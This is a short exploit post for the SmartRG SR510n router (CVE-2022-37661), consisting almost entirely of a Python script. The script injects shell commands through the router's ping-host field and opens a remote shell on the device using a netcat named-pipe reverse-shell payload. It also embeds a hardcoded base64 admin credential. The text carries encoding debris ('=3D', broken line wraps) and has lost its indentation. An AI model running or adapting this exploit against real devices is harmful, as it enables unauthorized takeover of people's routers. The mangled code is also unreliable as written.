SmartRG Router SR510n 2.6.13 Remote Code Execution

`# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)  
# Date: 13/06/2022  
# Exploit Author: Yerodin Richards  
# Vendor Homepage: https://adtran.com  
# Version: 2.5.15 / 2.6.13 (confirmed)  
# Tested on: SR506n (2.5.15) & SR510n (2.6.13)  
# CVE : CVE-2022-37661  
  
import requests  
from subprocess import Popen, PIPE  
  
router_host =3D "http://192.168.1.1"  
authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"  
  
lhost =3D "lo"  
lport =3D 80  
  
payload_port =3D 81  
  
  
def main():  
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=  
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)  
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)  
send_payload(f"|nc {lhost} {payload_port}|sh")  
print("done.. check shell")  
  
  
def get_session():  
url =3D router_host + "/admin/ping.html"  
headers =3D {"Authorization": "Basic {}".format(authorization_header)}  
r =3D requests.get(url, headers=3Dheaders).text  
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")  
s =3D ""  
while r[i] !=3D "'":  
s =3D s + r[i]  
i =3D i + 1  
return s  
  
  
def send_payload(payload):  
print(payload)  
url =3D router_host + "/admin/pingHost.cmd"  
headers =3D {"Authorization": "Basic {}".format(authorization_header)}  
params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=  
: get_session()}  
requests.get(url, headers=3Dheaders, params=3Dparams).text  
  
  
main()  
  
`